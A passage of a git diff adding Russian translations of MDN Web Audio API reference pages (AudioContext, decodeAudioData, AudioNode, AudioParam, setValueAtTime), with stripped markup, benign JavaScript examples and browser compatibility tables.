+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)		6.0{{property_prefix("webkit")}}
+
+
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+

See also

+ diff --git a/files/ru/web/api/audiocontext/decodeaudiodata/index.html b/files/ru/web/api/audiocontext/decodeaudiodata/index.html new file mode 100644 index 0000000000..faae982eae --- /dev/null +++ b/files/ru/web/api/audiocontext/decodeaudiodata/index.html @@ -0,0 +1,220 @@ +--- +title: AudioContext.decodeAudioData() +slug: Web/API/AudioContext/decodeAudioData +tags: + - API +translation_of: Web/API/BaseAudioContext/decodeAudioData +--- +

{{ APIRef("Web Audio API") }}

+ +
+

The decodeAudioData() method of the {{ domxref("AudioContext") }} Interface is used to asynchronously decode audio file data contained in an {{domxref("ArrayBuffer")}}. In this case the ArrayBuffer is usually loaded from an {{domxref("XMLHttpRequest")}}'s response attribute after setting the responseType to arraybuffer. The decoded AudioBuffer is resampled to the AudioContext's sampling rate, then passed to a callback or promise.

+
+ +

This is the preferred method of creating an audio source for Web Audio API from an audio track.

+ +

Syntax

+ +

Older callback syntax:

+ +
audioCtx.decodeAudioData(audioData, function(decodedData) {
+  // use the dec​oded data here
+});
+ +

Newer promise-based syntax:

+ +
audioCtx.decodeAudioData(audioData).then(function(decodedData) {
+  // use the decoded data here
+});
+ +

Example

+ +

In this section we will first cover the older callback-based system and then the newer promise-based syntax.

+ +

Older callback syntax

+ +

In this example, the getData() function uses XHR to load an audio track, setting the responseType of the request to arraybuffer so that it returns an array buffer as its response that we then store in the audioData variable . We then pass this buffer into a decodeAudioData() function; the success callback takes the successfully decoded PCM data, puts it into an {{ domxref("AudioBufferSourceNode") }} created using {{ domxref("AudioContext.createBufferSource()") }}, connects the source to the {{domxref("AudioContext.destination") }} and sets it to loop.

+ +

The buttons in the example simply run getData() to load the track and start it playing, and stop it playing, respectively. When the stop() method is called on the source, the source is cleared out.

+ +
+

Note: You can run the example live (or view the source.)

+
+ +
// define variables
+
+var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var source;
+
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+var play = document.querySelector('.play');
+var stop = document.querySelector('.stop');
+
+// use XHR to load an audio track, and
+// decodeAudioData to decode it and stick it in a buffer.
+// Then we put the buffer into the source
+
+function getData() {
+  source = audioCtx.createBufferSource();
+  var request = new XMLHttpRequest();
+
+  request.open('GET', 'viper.ogg', true);
+
+  request.responseType = 'arraybuffer';
+
+
+  request.onload = function() {
+    var audioData = request.response;
+
+    audioCtx.decodeAudioData(audioData, function(buffer) {
+        source.buffer = buffer;
+
+        source.connect(audioCtx.destination);
+        source.loop = true;
+      },
+
+      function(e){"Error with decoding audio data" + e.err});
+
+  }
+
+  request.send();
+}
+
+// wire up buttons to stop and play audio
+
+play.onclick = function() {
+  getData();
+  source.start(0);
+  play.setAttribute('disabled', 'disabled');
+}
+
+stop.onclick = function() {
+  source.stop(0);
+  play.removeAttribute('disabled');
+}
+
+
+// dump script to pre element
+
+pre.innerHTML = myScript.innerHTML;
+ +

New promise-based syntax

+ +
ctx.decodeAudioData(compressedBuffer).then(function(decodedData) {
+ // use the decoded data here
+});
+ +

Parameters

+ +
+
ArrayBuffer
+
An ArrayBuffer containing the audio data to be decoded, usually grabbed from an {{domxref("XMLHttpRequest")}}'s response attribute after setting the responseType to arraybuffer.
+
DecodeSuccessCallback
+
A callback function to be invoked when the decoding successfully finishes. The single argument to this callback is an AudioBuffer representing the decoded PCM audio data. Usually you'll want to put the decoded data into an {{domxref("AudioBufferSourceNode")}}, from which it can be played and manipulated how you want.
+
DecodeErrorCallback
+
An optional error callback, to be invoked if an error occurs when the audio data is being decoded.
+
+ +

Returns

+ +

An {{domxref("AudioBuffer") }} representing the decoded PCM audio data.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-decodeAudioData-Promise-AudioBuffer--ArrayBuffer-audioData-DecodeSuccessCallback-successCallback-DecodeErrorCallback-errorCallback', 'decodeAudioData()')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)		6.0{{property_prefix("webkit")}}
Promise-based syntax{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(33.0)}}
Promise-based syntax{{CompatUnknown}}{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(49.0)}}
+
+ +

See also

+ + diff --git a/files/ru/web/api/audiocontext/index.html b/files/ru/web/api/audiocontext/index.html new file mode 100644 index 0000000000..e1837c8ec0 --- /dev/null +++ b/files/ru/web/api/audiocontext/index.html @@ -0,0 +1,179 @@ +--- +title: AudioContext +slug: Web/API/AudioContext +tags: + - аудио +translation_of: Web/API/AudioContext +--- +

{{APIRef()}}

+ +
+

Интерфейс AudioContext можно представить как граф, состоящий из связанных между собой узлов {{domxref("AudioNode")}}. С помощью этого интерфейса можно контролировать как создание узлов, из которых состоит AudioContext, так и контролировать обработку и декодирование звука. Необходимо создать AudioContext перед тем как делать что-либо ещё со звуком, так как всё что происходит при обработке звука, происходит внутри AudioContext.

+ +

AudioContext может выступать как слушатель событий, и он реализует интерфейс {{domxref("EventTarget")}}.

+
+ +

Свойства

+ +
+
{{domxref("AudioContext.currentTime")}} {{readonlyInline}}
+
Содержит число с типом double, которое содержит значение времени в секундах, полученное от часов компьютера клиента. Это значение не может быть изменено никаким образом, оно только для чтения.
+
{{domxref("AudioContext.destination")}} {{readonlyInline}}
+
Содержит ссылку на {{domxref("AudioDestinationNode")}}, представляющий собой точку назначения для всего аудио в этом контексте. Может рассматриваться как, например, аудио-воспроизводящее устройство.
+
{{domxref("AudioContext.listener")}} {{readonlyInline}}
+
Содержит ссылку на объект {{domxref("AudioListener")}}, применяется для ориентирования в 3D-пространстве.
+
{{domxref("AudioContext.sampleRate")}} {{readonlyInline}}
+
Содержит число с типом float, представляющее собой частоту сэмплирования звука (sample rate), используемую всеми узлами в этом контексте. Это значение только для чтения и не может быть изменено.
+
{{domxref("AudioContext.mozAudioChannelType")}} {{ non-standard_inline() }} {{readonlyInline}}
+
Содержит ссылку на аудио-канал, который будет использоваться для воспроизведения звука в {{domxref("AudioContext")}} на устройствах с FireFox OS. Только для чтения.
+
+ +

Методы

+ +

Также реализованы методы из интерфейса {{domxref("EventTarget")}}.

+ +
+
{{domxref("AudioContext.createBuffer()")}}
+
Создаёт новый пустой объект {{ domxref("AudioBuffer") }}, в который затем могут помещаться данные для воспроизведения через {{ domxref("AudioBufferSourceNode") }}.
+
{{domxref("AudioContext.createBufferSource()")}}
+
Создаёт объект {{domxref("AudioBufferSourceNode")}}, который может быть использован для воспроизведения и обработки данных звукового потока, содержащегося в объекте {{ domxref("AudioBuffer") }} . Объекты типа {{ domxref("AudioBuffer") }} создаются с помощью метода {{domxref("AudioContext.createBuffer")}} или возвращаются методом {{domxref("AudioContext.decodeAudioData")}}, когда декодирование аудио-дорожки успешно завершено.
+
{{domxref("AudioContext.createMediaElementSource()")}}
+
Создаёт объект {{domxref("MediaElementAudioSourceNode")}}, ассоциированный с {{domxref("HTMLMediaElement")}}. Может использоваться для воспроизведения или манипулирования данными звукового потока из {{HTMLElement("video")}} или {{HTMLElement("audio")}} элементов.
+
{{domxref("AudioContext.createMediaStreamSource()")}}
+
Создаёт объект {{domxref("MediaStreamAudioSourceNode")}}, ассоциированный с {{domxref("MediaStream")}}, и который представляет аудио-поток, поступающий от подключённого к клиентскому компьютеру микрофона или других источников.
+
{{domxref("AudioContext.createMediaStreamDestination()")}}
+
Создаёт объект {{domxref("MediaStreamAudioDestinationNode")}}, ассоциированный с {{domxref("MediaStream")}} и представляющий собой аудио-поток, который можно сохранить в локальный файл или передать на другой компьютер.
+
{{domxref("AudioContext.createScriptProcessor()")}}
+
Создаёт объект {{domxref("ScriptProcessorNode")}}, который может быть использован для прямой обработки звука с помощью JavaScript.
+
{{domxref("AudioContext.createAnalyser()")}}
+
Создаёт объект {{domxref("AnalyserNode")}}, который может быть использован для получения времени воспроизведения и частоты воспроизводимого звука, что, в свою очередь может быть использовано для визуализации звукового потока.
+
{{domxref("AudioContext.createBiquadFilter()")}}
+
Создаёт объект {{domxref("BiquadFilterNode")}}, который представляет собой фильтр второго порядка, конфигурируемый как фильтр верхних частот, как фильтр нижних частот, фильтр полосы пропускания и так далее.
+
{{domxref("AudioContext.createChannelMerger()")}}
+
Создаёт объект {{domxref("ChannelMergerNode")}}, который используется для слияния каналов из множества аудио-потоков в один аудио-поток.
+
{{domxref("AudioContext.createChannelSplitter()")}}
+
Создаёт объект {{domxref("ChannelSplitterNode")}}, который используется для доступа к отдельным каналам аудио-потока для их дальнейшей обработки по отдельности.
+
{{domxref("AudioContext.createConvolver()")}}
+
Создаёт объект {{domxref("ConvolverNode")}}, который может быть использован для применения эффекта свёртки (convolution effect) к аудио-графу. Например, для создания эффекта реверберации.
+
{{domxref("AudioContext.createDelay()")}}
+
Создаёт объект {{domxref("DelayNode")}}, который может быть использован для задержки входящего аудио-сигнала на определённое время. Этот узел также удобен для создания петель обратной связи (feedback loops) в Web Audio графе.
+
{{domxref("AudioContext.createDynamicsCompressor()")}}
+
Создаёт объект {{domxref("DynamicsCompressorNode")}}, который может быть использован для акустической компрессии аудио-сигнала.
+
{{domxref("AudioContext.decodeAudioData()")}}
+
Асинхронно декодирует данные из аудио-файла, находящиеся в {{domxref("ArrayBuffer")}}. В этом случае ArrayBuffer заполняется при ответе на запрос {{domxref("XMLHttpRequest")}}. и установке атрибута responseType в arraybuffer. Этот метод работает только с полными аудио-файлами и не работает с их фрагментами. 
+
{{domxref("AudioContext.createGain()")}}
+
Создаёт объект {{domxref("GainNode")}}, который может быть использован для контроля общей громкости во всём аудио-графе.
+
{{domxref("AudioContext.createOscillator()")}}
+
Создаёт объект {{domxref("OscillatorNode")}}, источник, представляющий собой периодическую волну звукового сигнала.
+
{{domxref("AudioContext.createPanner()")}}
+
Создаёт объект {{domxref("PannerNode")}}, который используется для пространственного определения аудио-потока в трехмерном пространстве.
+
{{domxref("AudioContext.createPeriodicWave()")}}
+
Создаёт объект {{domxref("PeriodicWave")}}, используемый для определения периодической волны звукового сигнала, которая, в свою очередь, используется для определения вывода в {{ domxref("OscillatorNode") }}.
+
{{domxref("AudioContext.createWaveShaper()")}}
+
Создаёт объект {{domxref("WaveShaperNode")}}, который может быть использован для создания эффектов нелинейных звуковых искажений.
+
{{domxref("AudioContext.createAudioWorker()")}}
+
Создаёт объект {{domxref("AudioWorkerNode")}}, который может взаимодействовать с потоком web worker для непосредственных генерации, обработки или анализа аудио данных. Этот метод был добавлен в спецификацию 29 августа 2014 года и не в каждом браузере пока поддерживается.
+
+ +

Устаревшие методы

+ +
+
{{domxref("AudioContext.createJavaScriptNode()")}}
+
Создаёт объект {{domxref("JavaScriptNode")}}, используемый для непосредственной обработки звука в JavaScript. Этот метод устарел и заменён на {{domxref("AudioContext.createScriptProcessor()")}}.
+
{{domxref("AudioContext.createWaveTable()")}}
+
Создаёт объект {{domxref("WaveTableNode")}}, для определения периодической волны звукового сигнала. Этот метод устарел и заменён на {{domxref("AudioContext.createPeriodicWave()")}}.
+
+ +

Примеры

+ +

Простая декларация аудио-контекста:

+ +
var audioCtx = new AudioContext;
+ +

Кросс-браузерный вариант:

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var oscillatorNode = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+var finish = audioCtx.destination;
+// etc.
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-audiocontext-interface', 'AudioContext')}}{{Spec2('Web Audio API')}} 
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)		6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/audionode/channelcount/index.html b/files/ru/web/api/audionode/channelcount/index.html new file mode 100644 index 0000000000..0c6f8a2b8f --- /dev/null +++ b/files/ru/web/api/audionode/channelcount/index.html @@ -0,0 +1,122 @@ +--- +title: AudioNode.channelCount +slug: Web/API/AudioNode/channelCount +translation_of: Web/API/AudioNode/channelCount +--- +

{{ APIRef("Web Audio API") }}

+ +
+

channelCount свойство интерфейса {{ domxref("AudioNode") }} представляющее собой целое число использующееся для определения того, сколько каналов участвуют для up-mixing and down-mixing соединений для любого входа узла.

+
+ +

Использование и точное значение channelCount's зависит от {{domxref("AudioNode.channelCountMode")}}:

+ + + +

Синтаксис

+ +
var oscillator = audioCtx.createOscillator();
+var channels = oscillator.channelCount;
+ +

Пример

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+var oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+oscillator.channelCount;
+
+ +

Значение

+ +

Целое.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Web Audio API', '#widl-AudioNode-channelCount', 'channelCount')}}{{Spec2('Web Audio API')}} 
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}}{{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)		{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/audionode/context/index.html b/files/ru/web/api/audionode/context/index.html new file mode 100644 index 0000000000..88a5e12bec --- /dev/null +++ b/files/ru/web/api/audionode/context/index.html @@ -0,0 +1,113 @@ +--- +title: AudioNode.context +slug: Web/API/AudioNode/context +translation_of: Web/API/AudioNode/context +--- +

{{ APIRef("Web Audio API") }}

+ +
+

Свойство интерфейса {{ domxref("AudioNode") }} возвращающее связанный {{domxref("AudioContext")}}, это объект, представляющий граф, в котором находится данный узел.(только для чтения)

+
+ +

Синтаксис

+ +
var aContext = anAudioNode.context;
+ +

Значение

+ +

Объект {{ domxref("AudioContext") }}.

+ +

Example

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+var oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+oscillator.context;
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Web Audio API', '#widl-AudioNode-context', 'context')}}{{Spec2('Web Audio API')}} 
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}}{{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)		{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите так же

+ + diff --git a/files/ru/web/api/audionode/index.html b/files/ru/web/api/audionode/index.html new file mode 100644 index 0000000000..42c5ab4016 --- /dev/null +++ b/files/ru/web/api/audionode/index.html @@ -0,0 +1,198 @@ +--- +title: AudioNode +slug: Web/API/AudioNode +translation_of: Web/API/AudioNode +--- +

{{ APIRef("Web Audio API") }}
+ AudioNode это общий интерфейс для описания модулей обработки аудио таких как источники звука (например HTML элементы {{HTMLElement("audio")}} или {{HTMLElement("video")}}), генераторы звука (например {{domxref("OscillatorNode")}} и т.п.), приемники звука для модулей производящих обработку звука (например {{domxref("BiquadFilterNode")}} или {{domxref("ConvolverNode")}}), или регуляторы громкости (например {{domxref("GainNode")}}). 

+ +

AudioNodes participating in an AudioContext create a audio routing graph.

+ +

AudioNode имеет входы и выходы, каждый с заданным количеством каналов. AudioNode без входов в с одним или несколькими выходами называются источниками (source node). Результаты обработки передаются от одного AudioNode к другому, при этом каждый узел считывает только свой вход, производит обработку и представляет результат на свой выход, или просто пропускает аудио через себя (например {{domxref("AnalyserNode")}} где результат представляется отдельно).

+ +

Разные узлы могут быть связаны в граф обработки. Граф помещается в {{domxref("AudioContext")}}. Один AudioNode может принадлежать только одному {{domxref("AudioContext")}}. В общем, узлы наследуют свойства и методы AudioNode, но они могут также и определять собственный функционал.Смотрите описания конкретных узлов на страницах этих узлов перечисленных на главной странице Web Audio API.

+ +
+

Note: An AudioNode can be target of events, therefore it implements the {{domxref("EventTarget")}} interface.

+
+ +

Свойства

+ +
+
{{domxref("AudioNode.context")}} {{readonlyInline}}
+
Возвращает связанный {{domxref("AudioContext")}}, это объект, представляющий граф, в котором находится данный узел.
+
+ +
+
{{domxref("AudioNode.numberOfInputs")}} {{readonlyInline}}
+
Возвращает количество входов узла. Узлы определенные как источники имеют numberOfInputs равное 0.
+
+ +
+
{{domxref("AudioNode.numberOfOutputs")}} {{readonlyInline}}
+
Возвращает количество выходов узла. Узны назначения — такие как {{ domxref("AudioDestinationNode") }} — имеют количество выходов равное 0.
+
+ +
+
{{domxref("AudioNode.channelCount")}}
+
Это целое число, используемое для определения того, сколько каналов используются для up-mixing and down-mixing с любыми входами узла. Его использование точнее определяется значением {{domxref("AudioNode.channelCountMode")}}.
+
+ +
+
{{domxref("AudioNode.channelCountMode")}}
+
Это перечисление описывающее путь согласования каналов между входом и выходом.
+
{{domxref("AudioNode.channelInterpretation")}}
+
Это перечисление описывающее каналы.Эта интерпретация описывает как будет происходить up-mixing and down-mixing.
+ ВОзможные значения "speakers" or "discrete".
+
+ +

Методы

+ +

Так же реализует методы из интерфейса {{domxref("EventTarget")}}.

+ +
+
{{domxref("AudioNode.connect(AudioNode)")}}
+
Позволяет нам подключить один выход данного узла на один вход другого узла.
+
{{domxref("AudioNode.connect(AudioParam)")}}
+
Позволяет нам подключить один выход данного узла на параметрический вход другого.
+
{{domxref("AudioNode.disconnect()")}}
+
Позволяет нам отключить текущий узел от другого, уже подключенного узла.
+
+ +

Примеры

+ +

Этот простой фрагмент кода показывает создание некоторых аудио узлов, и как можно использовать свойства и методы AudioNode. Вы можете найти примеры такого использования на любом из примеров, на странице Web Audio API  (например Violent Theremin.)

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+var oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+oscillator.context;
+oscillator.numberOfInputs;
+oscillator.numberOfOutputs;
+oscillator.channelCount;
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-audionode-interface', 'AudioNode')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}}{{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)		{{CompatVersionUnknown}}
channelCount channelCountMode{{CompatVersionUnknown}} {{property_prefix("webkit")}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
connect(AudioParam){{CompatVersionUnknown}} {{property_prefix("webkit")}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}25.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
channelCount
+ channelCountMode		{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
connect(AudioParam){{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/ru/web/api/audioparam/index.html b/files/ru/web/api/audioparam/index.html new file mode 100644 index 0000000000..bbe425dcb6 --- /dev/null +++ b/files/ru/web/api/audioparam/index.html @@ -0,0 +1,112 @@ +--- +title: AudioParam +slug: Web/API/AudioParam +tags: + - API + - Audio + - AudioParam + - Interface + - NeedsTranslation + - Parameter + - Reference + - TopicStub + - Web Audio API + - sound +translation_of: Web/API/AudioParam +--- +
{{APIRef("Web Audio API")}}
+ +

The Web Audio API's AudioParam interface represents an audio-related parameter, usually a parameter of an {{domxref("AudioNode")}} (such as {{ domxref("GainNode.gain") }}). An AudioParam can be set to a specific value or a change in value, and can be scheduled to happen at a specific time and following a specific pattern.

+ +

There are two kinds of AudioParam, a-rate and k-rate parameters:

+ + + +

Each {{domxref("AudioNode")}} defines which of its parameters are a-rate or k-rate in the spec.

+ +

Each AudioParam has a list of events, initially empty, that define when and how values change. When this list is not empty, changes using the AudioParam.value attributes are ignored. This list of events allows us to schedule changes that have to happen at very precise times, using arbitrary timelime-based automation curves. The time used is the one defined in {{domxref("AudioContext.currentTime")}}.

+ +

Properties

+ +
+
{{domxref("AudioParam.defaultValue")}} {{readonlyInline}}
+
Represents the initial volume of the attribute as defined by the specific {{domxref("AudioNode")}} creating the AudioParam.
+
{{domxref("AudioParam.maxValue")}} {{readonlyInline}}
+
Represents the maximum possible value for the parameter's nominal (effective) range. 
+
{{domxref("AudioParam.minValue")}} {{readonlyinline}}
+
Represents the minimum possible value for the parameter's nominal (effective) range. 
+
{{domxref("AudioParam.value")}}
+
Represents the parameter's current value as of the current time; initially set to the value of {{domxref("AudioParam.defaultValue", "defaultValue")}}.
+
+ +

Methods

+ +
+
{{domxref("AudioParam.setValueAtTime()")}}
+
Schedules an instant change to the value of the AudioParam at a precise time, as measured against {{domxref("AudioContext.currentTime")}}. The new value is given by the value parameter.
+
{{domxref("AudioParam.linearRampToValueAtTime()")}}
+
Schedules a gradual linear change in the value of the AudioParam. The change starts at the time specified for the previous event, follows a linear ramp to the new value given in the value parameter, and reaches the new value at the time given in the endTime parameter.
+
{{domxref("AudioParam.exponentialRampToValueAtTime()")}}
+
Schedules a gradual exponential change in the value of the AudioParam. The change starts at the time specified for the previous event, follows an exponential ramp to the new value given in the value parameter, and reaches the new value at the time given in the endTime parameter.
+
{{domxref("AudioParam.setTargetAtTime()")}}
+
Schedules the start of a change to the value of the AudioParam. The change starts at the time specified in startTime and exponentially moves towards the value given by the target parameter. The exponential decay rate is defined by the timeConstant parameter, which is a time measured in seconds.
+
{{domxref("AudioParam.setValueCurveAtTime()")}}
+
Schedules the values of the AudioParam to follow a set of values, defined by an array of floating-point numbers scaled to fit into the given interval, starting at a given start time and spanning a given duration of time.
+
{{domxref("AudioParam.cancelScheduledValues()")}}
+
Cancels all scheduled future changes to the AudioParam.
+
{{domxref("AudioParam.cancelAndHoldAtTime()")}}
+
Cancels all scheduled future changes to the AudioParam but holds its value at a given time until further changes are made using other methods.
+
+ +

Examples

+ +

First, a basic example showing a {{domxref("GainNode")}} having its gain value set. gain is an example of an a-rate AudioParam, as the value can potentially be set differently for each sample frame of the audio.

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var gainNode = audioCtx.createGain();
+gainNode.gain.value = 0;
+ +

Next, an example showing a {{ domxref("DynamicsCompressorNode") }} having some param values maniuplated. These are examples of k-rate AudioParam's, as the values are set for the entire audio block at once.

+ +
var compressor = audioCtx.createDynamicsCompressor();
+compressor.threshold.setValueAtTime(-50, audioCtx.currentTime);
+compressor.knee.setValueAtTime(40, audioCtx.currentTime);
+compressor.ratio.setValueAtTime(12, audioCtx.currentTime);
+compressor.attack.setValueAtTime(0, audioCtx.currentTime);
+compressor.release.setValueAtTime(0.25, audioCtx.currentTime);
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#AudioParam', 'AudioParam')}}{{Spec2('Web Audio API')}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.AudioParam")}}

+
+ +

See also

+ + diff --git a/files/ru/web/api/audioparam/setvalueattime/index.html b/files/ru/web/api/audioparam/setvalueattime/index.html new file mode 100644 index 0000000000..f60d3e7d99 --- /dev/null +++ b/files/ru/web/api/audioparam/setvalueattime/index.html @@ -0,0 +1,97 @@ +--- +title: AudioParam.setValueAtTime() +slug: Web/API/AudioParam/setValueAtTime +translation_of: Web/API/AudioParam/setValueAtTime +--- +

{{ APIRef("Web Audio API") }}

+ +

setValueAtTime() метод интерфейса {{domxref("AudioParam")}} позволяющий мгновенно точно по времени изменять значение AudioParam , сравнивая с {{domxref("AudioContext.currentTime")}}. Новое значение дается в значении параметра.

+ +

Синтаксис

+ +
var AudioParam = AudioParam.setValueAtTime(value, startTime)
+ +

Параметры

+ +
+
value
+
Число с плавающей точкой представляет значение AudioParam изменяемое в данное время.
+
startTime
+
A double representing the time (in seconds) after the {{domxref("AudioContext")}} was first created that the change in value will happen. A {{jsxref("TypeError")}} is thrown if this value is negative.
+
+ +

Returns

+ +

A reference to this AudioParam object. In some browsers older implementations of this interface return void.

+ +

Examples

+ +

This simple example features a media element source with two control buttons (see our webaudio-examples repo for the source code, or view the example live). When the buttons are pressed, the currGain variable is incremented/decremented by 0.25, then the setValueAtTime() method is used to set the gain value equal to currGain, one second from now (audioCtx.currentTime + 1.)

+ +
// create audio context
+var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+// set basic variables for example
+var myAudio = document.querySelector('audio');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+var targetAtTimePlus = document.querySelector('.set-target-at-time-plus');
+var targetAtTimeMinus = document.querySelector('.set-target-at-time-minus');
+
+// Create a MediaElementAudioSourceNode
+// Feed the HTMLMediaElement into it
+var source = audioCtx.createMediaElementSource(myAudio);
+
+// Create a gain node and set it's gain value to 0.5
+var gainNode = audioCtx.createGain();
+gainNode.gain.value = 0.5;
+var currGain = gainNode.gain.value;
+
+// connect the AudioBufferSourceNode to the gainNode
+// and the gainNode to the destination
+source.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+// set buttons to do something onclick
+targetAtTimePlus.onclick = function() {
+  currGain += 0.25;
+  gainNode.gain.setValueAtTime(currGain, audioCtx.currentTime + 1);
+}
+
+targetAtTimeMinus.onclick = function() {
+  currGain -= 0.25;
+  gainNode.gain.setValueAtTime(currGain, audioCtx.currentTime + 1);
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
